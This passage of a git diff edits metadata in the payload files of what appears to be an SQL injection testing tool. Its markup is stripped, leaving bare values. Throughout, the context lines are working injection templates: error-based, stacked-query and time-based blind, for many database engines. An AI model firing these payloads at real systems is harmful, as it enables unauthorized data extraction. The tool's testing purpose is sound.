FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) @@ -334,7 +334,7 @@ 2 3 3 - 1,9 + 1,8,9 2 OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) @@ -354,7 +354,7 @@ 2 1 1 - 1,9 + 1,8,9 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) @@ -373,7 +373,7 @@ 2 1 3 - 1,9 + 1,8,9 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) @@ -392,7 +392,7 @@ 2 1 1 - 1,9 + 1,8,9 1 AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -413,7 +413,7 @@ 2 2 3 - 1,9 + 1,8,9 2 OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -434,7 +434,7 @@ 2 2 1 - 1,9 + 1,8,9 1 AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -455,7 +455,7 @@ 2 3 3 - 1,9 + 1,8,9 2 OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -476,7 +476,7 @@ 2 2 1 - 1,9 + 1,8,9 1 AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') @@ -497,7 +497,7 @@ 2 3 3 - 1,9 + 1,8,9 2 OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') diff --git a/xml/payloads/stacked_queries.xml b/xml/payloads/stacked_queries.xml index 2ecd2ef49b8..1471df7d057 100644 --- a/xml/payloads/stacked_queries.xml +++ b/xml/payloads/stacked_queries.xml @@ -7,7 +7,7 @@ 4 2 1 - 0 + 1-8 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) @@ -28,7 +28,7 @@ 4 3 1 - 0 + 1-8 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) @@ -48,7 +48,7 @@ 4 3 1 - 0 + 1-8 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -69,7 +69,7 @@ 4 4 1 - 0 + 1-8 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -89,7 +89,7 @@ 4 3 2 - 0 + 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -109,7 +109,7 @@ 4 5 2 - 0 + 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -128,7 +128,7 @@ 4 1 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -149,7 +149,7 @@ 4 4 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -169,7 +169,7 @@ 4 2 2 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -189,7 +189,7 @@ 4 5 2 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -208,7 +208,7 @@ 4 3 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -230,7 +230,7 @@ 4 5 1 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -251,7 +251,7 @@ 4 1 1 - 0 + 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' @@ -273,7 +273,7 @@ 4 4 1 - 0 + 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' @@ -294,7 +294,7 @@ 4 1 1 - 0 + 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL @@ -314,7 +314,7 @@ 4 4 1 - 0 + 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL @@ -333,7 +333,7 @@ 4 2 2 - 0 + 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL @@ -353,7 +353,7 @@ 4 5 2 - 0 + 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL @@ -372,7 +372,7 @@ 4 4 1 - 0 + 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END @@ -392,7 +392,7 @@ 4 5 1 - 0 + 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END @@ -411,7 +411,7 @@ 4 5 1 - 0 + 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END @@ -431,7 +431,7 @@ 4 5 1 - 0 + 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END @@ -450,7 +450,7 @@ 5 3 2 - 1,2,3,9 + 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) @@ -470,7 +470,7 @@ 5 5 2 - 1,2,3,9 + 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) @@ -489,7 +489,7 @@ 4 3 2 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -510,7 +510,7 @@ 4 5 2 - 0 + 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) @@ -530,7 +530,7 @@ 4 4 2 - 0 + 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE @@ -551,7 +551,7 @@ 4 5 2 - 0 + 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE @@ -571,7 +571,7 @@ 5 4 2 - 1,2,3,9 + 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 @@ -591,7 +591,7 @@ 5 5 2 - 1,2,3,9 + 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 @@ -610,7 +610,7 @@ 4 4 2 - 0 + 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END @@ -631,7 +631,7 @@ 4 5 2 - 0 + 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END @@ -651,7 +651,7 @@ 4 4 2 - 0 + 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END @@ -672,7 +672,7 @@ 4 5 2 - 0 + 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END diff --git a/xml/payloads/time_blind.xml b/xml/payloads/time_blind.xml index f92112a7cf8..6423a8050ab 100644 --- a/xml/payloads/time_blind.xml +++ b/xml/payloads/time_blind.xml @@ -7,7 +7,7 @@ 5 1 1 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) @@ -89,7 +89,7 @@ 5 2 1 - 1,2,3,9 + 1,2,3,8,9 1 AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -171,7 +171,7 @@ 5 2 2 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) @@ -335,7 +335,7 @@ 5 3 1 - 1,2,3,9 + 1,2,3,8,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -414,7 +414,7 @@ 5 1 1 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -496,7 +496,7 @@ 5 2 2 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -617,7 +617,7 @@ 5 2 2 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) @@ -937,7 +937,7 @@ 5 3 2 - 1,9 + 1,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) diff --git a/xml/queries.xml b/xml/queries.xml index 1610a19a8e1..5c0e5c92169 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -14,7 +14,7 @@ - + @@ -46,8 +46,8 @@ - - + + @@ -676,7 +676,7 @@ - + @@ -711,7 +711,7 @@ - + @@ -720,6 +720,69 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +